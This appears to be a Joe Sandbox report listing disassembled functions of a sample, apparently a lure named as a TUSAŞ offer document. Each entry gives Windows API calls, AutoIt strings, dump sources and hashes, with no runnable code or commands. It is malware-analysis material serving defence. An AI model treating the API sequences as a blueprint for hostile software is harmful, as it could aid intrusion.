Function 0102B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(010657B0,00000000,011F5D60,?,?,010657B0,?,0102B5A8,?,?), ref: 0102B712
EnableWindow.USER32(00000000,00000000), ref: 0102B736
ShowWindow.USER32(010657B0,00000000,011F5D60,?,?,010657B0,?,0102B5A8,?,?), ref: 0102B796
ShowWindow.USER32(00000000,00000004,?,0102B5A8,?,?), ref: 0102B7A8
EnableWindow.USER32(00000000,00000001), ref: 0102B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0102B7EF

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 95555a5a9efc835106de393f430c87748b130c29fc45457202f527326cb95fbe
Instruction ID: 9b73f1eebfcba89b60b9f78737948f5b889fbb004f8dc973f2bb7ebdc31a214d
Opcode Fuzzy Hash: 95555a5a9efc835106de393f430c87748b130c29fc45457202f527326cb95fbe
Instruction Fuzzy Hash: 33414D34600251AFEB66CF28C499B957FE1FF09350F1C41E9EAC88F6A2C732A456DB51

Function 0101709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,01014E41,?,?,00000000,00000001), ref: 010170AC

Part of subcall function 010139A0: GetWindowRect.USER32(?,?), ref: 010139B3

GetDesktopWindow.USER32 ref: 010170D6
GetWindowRect.USER32(00000000), ref: 010170DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0101710F

Part of subcall function 01005244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 010052BC

GetCursorPos.USER32(?), ref: 0101713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 01017199

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: e16013cae6069d576a07c69fee24e3673d641b8acdcdb44ce3409e324d66c642
Instruction ID: 1888481d57e5138fbc74211255dcb0563f793fced078e0d644b18e1b5405e671
Opcode Fuzzy Hash: e16013cae6069d576a07c69fee24e3673d641b8acdcdb44ce3409e324d66c642
Instruction Fuzzy Hash: 1131B072505316ABD730DF18C848F9BBBEAFF88354F100919F5C597181CA79EA09CB92

Function 00FF8879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF80A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FF80C0
Part of subcall function 00FF80A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FF80CA
Part of subcall function 00FF80A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FF80D9
Part of subcall function 00FF80A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FF80E0
Part of subcall function 00FF80A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FF80F6

GetLengthSid.ADVAPI32(?,00000000,00FF842F), ref: 00FF88CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00FF88D6
HeapAlloc.KERNEL32(00000000), ref: 00FF88DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 00FF88F6
GetProcessHeap.KERNEL32(00000000,00000000,00FF842F), ref: 00FF890A
HeapFree.KERNEL32(00000000), ref: 00FF8911

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b90454d8b28ffd421c8faf405c634680127f5ac2c31fb4ef693e7385a11f7fce
Instruction ID: 3e7e1e884d5ba6b9d2b39a2f3e5f6e277a0c203ad6e8e5b40aef79066b1a751f
Opcode Fuzzy Hash: b90454d8b28ffd421c8faf405c634680127f5ac2c31fb4ef693e7385a11f7fce
Instruction Fuzzy Hash: CD11A231901209FFDB309FA4DC0ABBE7B78EF457A1F604018E98597210CB769901EB60

Function 00FF85B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00FF85E2
OpenProcessToken.ADVAPI32(00000000), ref: 00FF85E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00FF85F8
CloseHandle.KERNEL32(00000004), ref: 00FF8603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FF8632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00FF8646

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 0885bbbee9b3f22e1265910e694688765747b4d921b0119ad2bb1768b551a65a
Instruction ID: 1bca48068c8acd8246d98ca295b13a60b1801450f311f5be292fe41d5d36a248
Opcode Fuzzy Hash: 0885bbbee9b3f22e1265910e694688765747b4d921b0119ad2bb1768b551a65a
Instruction Fuzzy Hash: 0F11597250024EABDF218EA4DD49FEE7BB9EF08794F184055FE05E2160C7768D61EB60

Function 00FFB790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FFB7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 00FFB7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FFB7CD
ReleaseDC.USER32(00000000,00000000), ref: 00FFB7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00FFB7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 00FFB7FE

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 47a237ed46cb191c96f9c73eb2b3276d3f425f45cf5c5959b1d89ffb8c46d0db
Instruction ID: e228ca047a89fa307a799a8bddaa7445c89593c26b1f5f493b2cae0d9e27ca00
Opcode Fuzzy Hash: 47a237ed46cb191c96f9c73eb2b3276d3f425f45cf5c5959b1d89ffb8c46d0db
Instruction Fuzzy Hash: B2017175E00209BBEB20AFB69D49A5ABFB8EF48361F104065FA04A7291D6359C00CF90

Function 00FC0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FC0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 00FC019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FC01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FC01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00FC01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FC01C1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 708bfeaebe1d1ffc257d07613c75286e03c050181c5a4d7259cd2fad441ee9b5
Instruction ID: 57e22c956061d07f80c418e64a8e773f935cfcc353254db86e6c6b6c55b79677
Opcode Fuzzy Hash: 708bfeaebe1d1ffc257d07613c75286e03c050181c5a4d7259cd2fad441ee9b5
Instruction Fuzzy Hash: E90148B090275A7DE3108F6A8C85A52FEA8FF19394F00411BA15847941C7B5A868CBE5

Function 010053E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 010053F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0100540F
GetWindowThreadProcessId.USER32(?,?), ref: 0100541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0100542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 01005437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0100543E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 1159ea1bdc14368a5da6ee717ebde71af6b96b62d4d2808a0c2d6825920a2302
Instruction ID: 292ed7cb422bd956d4e581eae71df40da1f8486edaa14c60ded6d4c1977e6565
Opcode Fuzzy Hash: 1159ea1bdc14368a5da6ee717ebde71af6b96b62d4d2808a0c2d6825920a2302
Instruction Fuzzy Hash: B9F06D32240159BBE7315EA29C0EEEB7A7CEBCAB51F100159FA44D1081DAAA1A0187B5

Function 01007230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 01007243
EnterCriticalSection.KERNEL32(?,?,00FB0EE4,?,?), ref: 01007254
TerminateThread.KERNEL32(00000000,000001F6,?,00FB0EE4,?,?), ref: 01007261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00FB0EE4,?,?), ref: 0100726E

Part of subcall function 01006C35: CloseHandle.KERNEL32(00000000,?,0100727B,?,00FB0EE4,?,?), ref: 01006C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 01007281
LeaveCriticalSection.KERNEL32(?,?,00FB0EE4,?,?), ref: 01007288

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: e816db8170c35e4fae9d309af9e8c2daddc841bd4bed9cd76b9853921df3a51f
Instruction ID: 2f01443e139eb11c335f00e6fcd91c2b07385498c8101699587fe8e1ee24ce96
Opcode Fuzzy Hash: e816db8170c35e4fae9d309af9e8c2daddc841bd4bed9cd76b9853921df3a51f
Instruction Fuzzy Hash: 9AF09A36441213ABE7722F24EE4C9EA7B3AEF07342F200121F28290098CB7B1404CB50

Function 00FF8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00FF899D
UnloadUserProfile.USERENV(?,?), ref: 00FF89A9
CloseHandle.KERNEL32(?), ref: 00FF89B2
CloseHandle.KERNEL32(?), ref: 00FF89BA
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF89C3
HeapFree.KERNEL32(00000000), ref: 00FF89CA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 4a0339f0c44bac58b0506a50babd2375ec10fe801747be7a82df39684bf9b689
Instruction ID: 2e6ba555572b31135730851b36a46976c0084085315d072ab6684b7c2a9985a1
Opcode Fuzzy Hash: 4a0339f0c44bac58b0506a50babd2375ec10fe801747be7a82df39684bf9b689
Instruction Fuzzy Hash: 6CE0C936004002BBD6212FE1ED0C915BB79FB893A27B08220F255C1068CB375420DB50

Function 010185ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01018613
CharUpperBuffW.USER32(?,?), ref: 01018722
VariantClear.OLEAUT32(?), ref: 0101889A

Part of subcall function 01007562: VariantInit.OLEAUT32(00000000), ref: 010075A2
Part of subcall function 01007562: VariantCopy.OLEAUT32(00000000,?), ref: 010075AB
Part of subcall function 01007562: VariantClear.OLEAUT32(00000000), ref: 010075B7

Strings

AUTOIT.ERROR, xrefs: 01018728
Incorrect Parameter format, xrefs: 0101864B, 0101880D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: ee13d1b14200b203fce039a17e4ea4eb856bb93079c6dc6ec3bb3b925cbd404c
Instruction ID: 24d72ea266a33fca6477071b0c6e46e5bab84c2869f27ccec5b478ee3abd7f84
Opcode Fuzzy Hash: ee13d1b14200b203fce039a17e4ea4eb856bb93079c6dc6ec3bb3b925cbd404c
Instruction Fuzzy Hash: 59916D716083019FC710DF24C88495BBBF4EF89754F04896EF99A8B365DB39EA05CB92

Function 01002A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBFC86: _wcscpy.LIBCMT ref: 00FBFCA9

_memset.LIBCMT ref: 01002B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 01002BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 01002C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 01002C97

Strings

0, xrefs: 01002B73

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 23192a4efae3f1525debd141c9c4d8f80ea8a1e593e707ae0e27def02c18cdd5
Instruction ID: 72f41bb81f7ac7fe784808763486699913188921cec4575ed96af97a786c4fef
Opcode Fuzzy Hash: 23192a4efae3f1525debd141c9c4d8f80ea8a1e593e707ae0e27def02c18cdd5
Instruction Fuzzy Hash: B851DC712083059EF7A6DEA8C849A6BBBE8EF89350F040A6DF9C5D21D1DB74C9448B52

Function 00FFD56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00FFD5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00FFD60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00FFD61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00FFD69D

Strings

DllGetClassObject, xrefs: 00FFD610

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 20ca1c8114f6ed86f773168e3f27c4216f0d53dbf0f1b5f8989a70a26b93056a
Instruction ID: f80ea59fa7337ee73b5e1b127919b757058d0cb2df356e0ac48e131490d56142
Opcode Fuzzy Hash: 20ca1c8114f6ed86f773168e3f27c4216f0d53dbf0f1b5f8989a70a26b93056a
Instruction Fuzzy Hash: 6041AFB2600208EFDB15DF54C884AAA7BBAEF44314F1581A9EE09DF215D7B5DD40EBA0

Function 01002753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010027C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 010027DC
DeleteMenu.USER32(?,00000007,00000000), ref: 01002822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,01065890,00000000), ref: 0100286B

Strings

0, xrefs: 010027B5

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: fd6ade41b4dd2dc4169f7fb44fc69997826d1a8d662f7ebc520d3f4ac338190f
Instruction ID: b3c4892e15a426062dd68bf85ceaf1da34a80186edc88f3cb744dc4126d3a9c9
Opcode Fuzzy Hash: fd6ade41b4dd2dc4169f7fb44fc69997826d1a8d662f7ebc520d3f4ac338190f
Instruction Fuzzy Hash: D341A0752053029FE722DF28C848F6ABBE8EF85314F14496DFAA5972D1D730A605CB52

Function 0101D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0101D7C5

Part of subcall function 00FA784B: _memmove.LIBCMT ref: 00FA7899

Strings

none, xrefs: 0101D8A0
stdcall, xrefs: 0101D847
cdecl, xrefs: 0101D81C
winapi, xrefs: 0101D836

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 0efdfa7bfcfe5dce731399431e5e08e45ef2eed2301f3338ff976396fdca60b2
Instruction ID: b74dec7a65c5d567807b07eb9b7f6a17c4723a6735c71ca2feeeb132c801e533
Opcode Fuzzy Hash: 0efdfa7bfcfe5dce731399431e5e08e45ef2eed2301f3338ff976396fdca60b2
Instruction Fuzzy Hash: 0B31B07190420AEBCF00EF98CC559EEB3B5FF05320B008659E8A9976D5DB39E905CB80

Function 00FF8E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Part of subcall function 00FFAA99: GetClassNameW.USER32(?,?,000000FF), ref: 00FFAABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00FF8F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00FF8F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00FF8F57

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

Strings

ListBox, xrefs: 00FF8ED3
ComboBox, xrefs: 00FF8E9E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 1554797bfbb496d49efb03944215f9126ef83c4aa8ff0d3ed6c89d0172a18787
Instruction ID: b12030a2be556af866a6cb4769bc0980607e7fa6d26bbbfcbf0d1c1c6a30a9f9
Opcode Fuzzy Hash: 1554797bfbb496d49efb03944215f9126ef83c4aa8ff0d3ed6c89d0172a18787
